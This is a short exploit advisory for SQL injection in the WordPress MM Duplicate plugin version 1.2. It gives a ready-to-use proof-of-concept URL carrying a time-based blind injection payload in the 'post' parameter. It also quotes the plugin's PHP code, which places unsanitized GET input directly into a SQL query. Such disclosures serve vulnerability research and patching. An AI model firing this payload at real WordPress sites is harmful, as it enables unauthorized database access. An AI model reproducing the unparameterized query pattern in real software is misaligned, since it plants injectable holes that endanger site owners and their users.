WordPress Plugin MM Duplicate 1.2 - SQL Injection

# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
class mm_duplicate_pages_posts
{
    ...
    function mm_duplicate_pages_posts()
    {
        ...
        add_action('init', array(&$this, 'dup'));
        ...        
    }

    function dup()
    {
        if($_GET['duplicate'])
        {
            $id = $_GET['post'];
            $dup = new mm_duplicate();
            ...
            $dup->duplicate_post_page($id);
        }
    }
...
}

class mm_duplicate
{
    function duplicate_post_page($id)
    {
        ...
        $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
        ...
    }
...
}